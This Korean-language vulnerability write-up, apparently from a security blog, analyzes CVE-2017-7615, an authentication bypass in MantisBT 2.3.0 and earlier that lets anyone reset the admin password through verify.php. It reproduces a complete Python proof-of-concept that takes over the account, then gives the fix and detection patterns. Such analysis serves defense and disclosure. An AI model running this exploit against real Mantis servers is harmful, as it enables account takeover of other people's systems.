1. Mantis BT
- Mantis Bug Tracker는 무료 오픈 소스 웹 기반 버그 추적 시스템
- MantisBT의 가장 일반적인 용도는 소프트웨어 결함을 추적하는 것
2. 취약점
- Mantis 계정 확인 페이지 'verify.php'에서 모든 사용자의 비밀번호를 재설정할 수 있는 취약점
영향받는 버전 : MantisBT 2.3.0 및 이전 버전
2.1 분석
- 공격자는 [사진 2]처럼 verify.php에 매개변수를 조작하여 패킷을 전송
① id 매개변수 값을 1로 설정
② confirm_hash 값을 빈 값으로 설정
- 먼저, verify.php 파일에서 if문을 통해 사용자 계정 확인 시도.
- [사진 3]에서 confirm_hash 값이 비어있는 경우에 대한 검증이 없어 조건문 우회가 가능함.
- 또한, [사진 3]에서 auth_attemp_script_login(); 함수 호출 흐름은 다음과 같음
auth_attempt_script_login(user_get_field($f_user_id, 'username'));
↓
user_get_row
↓
user_cache_row
- user_cache_row()는 기존 사용자 정보를 DB에서 가져와, 요청 받은 계정에 대한 $t_user_row(행번호) 반환
※ 유효한 $t_user_row(행번호) 값을 반환 받지 못하면 에러 발생
- 일반적으로 시스템에는 최소한 한개의 관리자가 존재하므로, id 매개변수 값을 1로 설정
- verify.php는 마지막으로 사용자에게 인증 토큰을 반환
- 이후, 공격자는 account_update.php 요청을 통해 관리자 계정(혹은 사용자 계정)의 비밀번호 재설정 수행
※ account_update_token가 일치하지 않는, 즉 유효한 토큰이 없으면 오류를 반환
- 최종적으로, account_update.php에서 비밀번호가 재설정됨
UPDATE mantis222_user_table222 SET password=root, cookie_string=XFf3oXAaubj6XafrescDZ702IJeWIA1kecS7KoKvqFge_skYnK2QPVHR6Im5FXcq WHERE id=1
- 위 과정을 정리하면. [사진 7]과 같음
2.2 PoC
- 2.1 분석에서 확인한 것과 같이 id, confirm_hash 매개변수를 각각 1, 빈값으로 설정
- 추가적으로, 비밀번호 재설정을 위해 응답값에서 account_update_token 값을 추출
import cookielib,urllib,urllib2,time
print 'Mantis Bug Tracker >= v1.3.0 - 2.3.0'
print '1.2.x versions are not affected'
print 'Remote Password Reset 0day Exploit'
print 'Credits: John Page a.k.a HYP3RLINX / APPARITIONSEC\n'
IP=raw_input("[Mantis Victim IP]>")
realname=raw_input("[Username]")
verify_user_id=raw_input("[User ID]")
passwd=raw_input("[New Password]")
TARGET = 'http://'+IP+'/mantisbt-2.3.0/verify.php?id='+verify_user_id+'&confirm_hash='
values={}
account_update_token=''
#verify_user_id='1' #Admin = 1
#realname='administrator' #Must be known or guessed.
#REQUEST 1, get Mantis account_update_token
cookies = cookielib.CookieJar()
opener = urllib2.build_opener(
urllib2.HTTPRedirectHandler(),
urllib2.HTTPHandler(debuglevel=0),
urllib2.HTTPSHandler(debuglevel=0),
urllib2.HTTPCookieProcessor(cookies))
res = opener.open(TARGET)
arr=res.readlines()
for s in arr:
if 'account_update_token' in s:
break
#print s[61:-38]
ACCT_TOKEN=s[61:-38]
time.sleep(0.3)
#REQUEST 2 Hijack the Admin Account
TARGET='http://'+IP+'/mantisbt-2.3.0/account_update.php'
values = {'verify_user_id' : '1',
'account_update_token' : ACCT_TOKEN,
'realname' : realname,
'password' : passwd,
'password_confirm' : passwd}
data = urllib.urlencode(values)
opener = urllib2.build_opener(
urllib2.HTTPRedirectHandler(),
urllib2.HTTPHandler(debuglevel=0),
urllib2.HTTPSHandler(debuglevel=0),
urllib2.HTTPCookieProcessor(cookies))
response = opener.open(TARGET, data)
the_page = response.read()
http_headers = response.info()
#print http_headers
print response.getcode()
print 'Account Hijacked!'
time.sleep(2)
3. 대응방안
3.1 서버 측면
① 최신 패치 적용
- 취약한 조건문과 비교해 봤을 때, confirm_hash 값이 비어있지 않을 경우에 대한 검증이 추가됨
if( $f_confirm_hash !== $t_token_confirm_hash || null === $t_token_confirm_hash ) {
trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR );
}
3.2 네트워크 측면
① 해당 취약점을 이용한 공격 시도를 탐지 가능한 정책 설정 및 적용
- /verify.php?id=1&confirm_hash=
- /account_update.php
4. 참고
- https://nvd.nist.gov/vuln/detail/CVE-2017-7615
- http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
- https://mantisbt.org/bugs/view.php?id=22690#c56509
- https://www.exploit-db.com/exploits/41890
- https://xz.aliyun.com/t/11592
- https://github.com/mantisbt/mantisbt/tree/release-2.18.0
- https://mantisbt.org/blog/archives/mantisbt/518
- https://packetstormsecurity.com/files/159219/Mantis-Bug-Tracker-2.3.0-Remote-Code-Execution.html
- https://www.openwall.com/lists/oss-security/2017/04/16/2
'취약점 > By-Pass' 카테고리의 다른 글
Apache OfBiz 인증 우회 취약점 (CVE-2023-51467) (1) | 2023.12.31 |
---|---|
TeamCity Server 인증 우회 취약점 (CVE-2023-42793) (0) | 2023.10.23 |
VMware 제품 인증 우회 취약점 (CVE-2022–31656) (0) | 2023.01.11 |
WordPress Plugin Portable phpMyAdmin 인증 우회 (CVE-2012-5469) (0) | 2022.12.09 |
Fortinet 제품 인증 우회 취약점 (CVE-2022-40684) (0) | 2022.11.21 |